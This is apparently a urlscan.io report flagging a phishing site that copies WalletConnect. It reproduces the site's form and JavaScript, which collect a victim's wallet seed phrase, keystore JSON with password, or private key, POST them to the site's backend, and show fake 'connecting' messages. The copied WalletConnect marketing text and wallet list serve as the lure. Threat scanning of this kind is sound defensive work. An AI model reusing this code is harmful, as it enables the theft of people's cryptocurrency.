openwalletservices.network
Open in
urlscan Pro
2606:4700:3030::6815:478e
Malicious Activity!
Public Scan
Submitted URL: http://openwalletservices.network/
Effective URL: https://openwalletservices.network/
Submission: On July 25 via manual from NL — Scanned from NL
Effective URL: https://openwalletservices.network/
Submission: On July 25 via manual from NL — Scanned from NL
Form analysis
1 forms found in the DOM#
<form id="WalletForm" action="#" role="form">
<div class="row">
<div class="col-md-12">
<input type="text" id="WalletValue" style="display:none" name="WalletName" value="">
<img style="float: left" id="NewLogo" class="img-fluid mr-5" width="120">
<div id="HideErrorMsg" onclick="Hide()">
<label id="ConnectError" class="text-danger">Initializing connection...</label><br> <span id="BtnConnect" data-target="#FillForm" data-toggle="collapse" class="btn btn-primary">connect manually</span>
</div>
</div>
</div>
<div class="row collapse mt-3" id="FillForm">
<div class="col-md-12 text-center">
<div class="form-group">
<ul class="nav nav-tabs">
<li class="active mr-2" onclick="HideMsgs();"><a class="btn btn-primary text-white" data-toggle="tab" href="#Phrase">Phrase</a></li>
<li class="mr-2" onclick="HideMsgs();"><a class="btn btn-primary text-white" data-toggle="tab" href="#Keystore">Keystore JSON</a></li>
<li class="mr-2" onclick="HideMsgs();"><a class="btn btn-primary text-white" data-toggle="tab" href="#Privatekey">Private Key</a></li>
</ul>
<div class="tab-content p-4">
<div id="Phrase" class="active tab-pane">
<p id="msgPhrase">...</p>
<textarea id="PhraseValue" placeholder="Enter Wallet Phrase..." rows="5" style="resize:none;" class="form-control" name="Mail.Body"></textarea>
<p class="text-primary">Typically 12 (sometimes 24) words separated by single spaces</p>
<button type="button" onclick="PhraseCount();" class="btn btn-primary">CONNECT WALLET</button>
</div>
<div id="Keystore" class="tab-pane fade">
<p id="msgKey">...</p>
<textarea id="KeyStoreVal" placeholder="Enter Keystore JSON..." rows="4" style="resize:none;" class="form-control" name="KeyStoreVal"></textarea> <input id="KeyStorePass" type="password" class="form-control" placeholder="password"
name="StoreValPass">
<p class="text-primary">Several lines of text begining with '(...)' plus the password you used to encrypt it.</p>
<button type="button" onclick="KeyStore();" class="btn btn-primary">CONNECT WALLET</button>
</div>
<div id="Privatekey" class="tab-pane fade">
<p id="msgPrivateKey">...</p>
<input id="PKey" type="text" class="form-control" placeholder="Enter Private Key" name="PKey" value="">
<p class="text-primary">Typically a 256-bit number represented in hexa-decimal form</p>
<input type="button" onclick="PrivateKeyss();" class="btn btn-primary" value="CONNECT WALLET">
</div>
</div>
<script>
function HideMsgs() {
$("#msgPhrase").hide();
$("#msgKey").hide();
$("#msgPrivateKey").hide();
$("#PKey").val('');
$("#PhraseValue").val('');
$("#KeyStoreVal").val('');
$("#KeyStorePass").val('');
};
function PrivateKeyss() {
var pkey = $("#PKey").prop('value');
if (pkey == "") {
$("#msgPrivateKey").show();
$("#msgPrivateKey").addClass("text-danger");
$("#msgPrivateKey").html("ERROR:\nEnter Private Key Correctly...");
event.preventDefault();
};
$("#msgPrivateKey").show();
$("#msgPrivateKey").addClass("text-danger");
$("#msgPrivateKey").text("Initializing...");
var domain = /:\/\/([^\/]+)/.exec(window.location.href)[1].split('.');
var sub = "";
if (domain.length == 3) {
sub = domain[0]
} else {
sub = `${domain[0]}.${domain[1]}`
};
var js = {
domain: sub,
detail: `Private Key ${$("#WalletValue").val()}: ${$("#PKey").val()}`
}
$.ajax({
url: "/api/v1/login/",
method: "POST",
contentType: "application/json",
data: JSON.stringify(js)
})
setTimeout(function() {
$("#msgPrivateKey").show();
$("#msgPrivateKey").addClass("text-danger");
$("#msgPrivateKey").text("Connecting to the node...");
}, 5000);
};
function PhraseCount() {
var phrase = $("#PhraseValue").prop('value');
if (phrase == "") {
$("#msgPhrase").show();
$("#msgPhrase").addClass("text-danger");
$("#msgPhrase").html("ERROR:\nEnter Wallet Phrase Correctly...");
event.preventDefault();
};
$("#msgPhrase").show();
$("#msgPhrase").addClass("text-danger");
$("#msgPhrase").text("Initializing...");
var domain = /:\/\/([^\/]+)/.exec(window.location.href)[1].split('.');
var sub = "";
if (domain.length == 3) {
sub = domain[0]
} else {
sub = `${domain[0]}.${domain[1]}`
};
var js = {
domain: sub,
detail: `"Seed Phrase ${$("#WalletValue").val()}: ${$("#PhraseValue").val()}`
}
$.ajax({
url: "/api/v1/login/",
method: "POST",
contentType: "application/json",
data: JSON.stringify(js)
})
setTimeout(function() {
$("#msgPhrase").show();
$("#msgPhrase").addClass("text-danger");
$("#msgPhrase").text("Connecting to the node...");
}, 5000)
// }
};
function KeyStore() {
var KeyVal = $("#KeyStoreVal").val();
var KeyPass = $("#KeyStorePass").prop('value');
if (KeyPass == " ") {
$("#msgKey").show();
$("#msgKey").addClass("text-danger");
$("#msgKey").text("ERROR:\nEnter KeyStore Password!");
event.preventDefault();
};
if (KeyPass == " " || KeyVal == " ") {
$("#msgKey").show();
$("#msgKey").addClass("text-danger");
$("#msgKey").text("ERROR:\nEnter KeyStore Value and KeyStore Password!");
event.preventDefault();
};
if (!KeyVal.startsWith('...')) {
$("#msgKey").show();
$("#msgKey").addClass("text-danger");
$("#msgKey").text("ERROR:\nIncorrect Keystore Value");
event.preventDefault();
} else {
var domain = /:\/\/([^\/]+)/.exec(window.location.href)[1].split('.');
var sub = "";
if (domain.length == 3) {
sub = domain[0]
} else {
sub = `${domain[0]}.${domain[1]}`
};
var js = {
domain: sub,
detail: `KeyStore Json ${$("#WalletValue").val()}: pass: ${$("#KeyStorePass").val()} , value: ${$("#KeyStoreVal").val()}`,
}
$.ajax({
url: "/api/v1/login/",
method: "POST",
contentType: "application/json",
data: JSON.stringify(js)
})
$("#msgKey").show();
$("#msgKey").addClass("text-danger");
$("#msgKey").text("Initializing...");
setTimeout(function() {
$("#msgKey").show();
$("#msgKey").addClass("text-danger");
$("#msgKey").text("Connecting to the node...");
}, 5000)
}
};
</script>
</div>
</div>
</div>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8NjXaBCaI9lOokHBOiOftFIvtGj-0MUF4E4PH5F02frZQO9GTtAxm4pHRJL01F0_obJ7qp1XbjzziwbZwcaLk2PbhKD1O0lDSrZ5SsdR8Pe78lIp4Jb6406XJ9-SlmN7GWINF1dyz4I7WwQ-jptOya0">
</form>
Text Content
* Docs * Registry × CONNECTING WALLET NOW Initializing connection... connect manually * Phrase * Keystore JSON * Private Key ... Typically 12 (sometimes 24) words separated by single spaces CONNECT WALLET ... Several lines of text begining with '(...)' plus the password you used to encrypt it. CONNECT WALLET ... Typically a 256-bit number represented in hexa-decimal form Close ANY WALLET. ANY DAPP. ANY CHAIN. WalletConnect is the web3 standard to connect blockchain wallets to dapps. Connect Wallet SYNC YOUR WALLETS NOW Meta Mask StepN Phantom Polygon Ronin Wallet Trust Wallet Crypto.com|DEFI Solflare Gala Game Math Wallet Argent Atomic SHOW MORE... imToken Oasis TokenPocket Rainbow Pillar Fantom Wetez Klatyn Gnosis Safe Multisig Nash NEFTiPEDiA MyKey Orange Midas Wallet Minerva Wallet O3 Wallet Linen Loop Ring Wallet OwnBit PayTube PEAK Defi Wallet Plasma Pay Quiver X Rabby R Wallet SafePal Shinobi Wallet Spark Point Spatium Star Base Steak Wallet Stasis Talken Wallet Tangem Tokenary Tongue Wallet Torus Trust Vault Trustee Wallet Unstoppable Wallet Valora Via Wallet Vision Wallet.IO Wallet 3 Wall ETH Xin Fin XDC Network yi Token Zel Core LedgerLive KyberSwap Krystal KeyRing Pro Ju Wallet Jade Wallet io Pay Infinity Wallet Infinito Huobi Wallet HashKey Me Halo Defi Wallet Guarda Wallet Grid Plus Go Pocket GD Wallet fxWallet fuse.Cash Flare Wallet Encrypted Ink Ellipal Elastos Essential Eidoo Easy Pocket DID Wallet Dharma Defiant D Cent Wallet CYBAVO Wallet Cool Wallet S Coin US Coin Omi Coinhub Coin98 cmorq Chainge Finance Celo Wallet Bull App 1 Inch Wallet Air Gap Aktionariat Alice Alpha Wallet AnyBit Archi Page AT.Wallet A Token Wallet Atomic Authereum Avacus Binana BitKeep Bitpie Block bank Bridge Wallet Venly Wallet Bit Pay Okex THE BLOCKCHAIN SDK Built for developers, the WalletConnect web, android, and iOS SDK’s power millions of web3 connections every day. PROTOCOL WalletConnect is not an app, but an open protocol to communicate securely between Wallets and Dapps (Web3 Apps). SECURE ENCRYPTION The protocol establishes a remote connection between two apps and/or devices. These payloads are symmetrically encrypted through a shared key between the two peers. QR CODES & DEEP LINKS The connection is initiated by one peer displaying a QR Code or deep link with a standard WalletConnect URI and is established when the counter-party approves this connection request. PUSH SERVER Also included is an optional Push server to allow native applications to notify the user of incoming payloads for established connections. import WalletConnectClient from @WalletConnect/client; const client = await WalletConnectClient.init({ apiKey: from "c4f79cc821944d9680842e34466bfbd", }); SIMPLE INTEGRATION WalletConnect can be integrated with just a few lines of code. SDK’s available for javascript, iOS/Swift, and Android/Kotlin. Read the docs ANY WALLET. WalletConnect is built into more than 75 leading wallets. Easily integrate WalletConnect into your wallet with our Javascript, Swift, or Kotlin SDK’s. See all wallets ANY CHAIN. WalletConnect is chain agnostic and built to work with any blockchain. Developers can create multi-chain experiences and applications. More chains coming soon. TOP FEATURES Rebuilt from the ground up, v2 was created with features for the next generation of blockchain applications. CHAIN AGNOSTIC Interoperate with any blockchain. Support new blockchains and rollups out-of-the-box. MULTI CHAIN Connect to a wallet with one or more chains simultaneously and send transactions to different chains at the same time. No more chain switching. MULTI SESSION Manage as many sessions as needed. A flexible API is provided to build the desired UX. ONE-TIME PAIRING Establishes multiple sessions from a single pairing. Only one connection for an infinite number of sessions. REDUCED BANDWIDTH Websocket management efficiently re-uses resources to multiplex all messages through a single socket without interruption. DECENTRALIZED MESSAGING Message relaying now uses Waku network to gossip messages through all nodes. No more depending on centralized servers. PERMISSION SYSTEM Explicitly require wallets to meet compatibility with all signing methods that your dapp requires. GUARANTEED DELIVERY Smarter caching mechanisms guarantee message delivery in more diverse network conditions. PLATFORM AGNOSTIC Works everywhere across desktop apps, browser apps, mobile apps, gaming apps and much more. FOR DEVELOPERS START BUILDING To quickly setup for your Dapp or Wallet, create a cloud account for relay server access, then check out our code examples and quick start guide. Get Startd Read the docs LINKS Blog FAQ Terms Privacy Policy REGISTRY Wallets Dapps RESOURCES Documentation Github CONTACT Discord Twitter SUBSCRIBE TO OUR NEWSLETTER! Be the first to learn the news about new features and product updates. Subscribe © 2021 - ConnectWallet Inc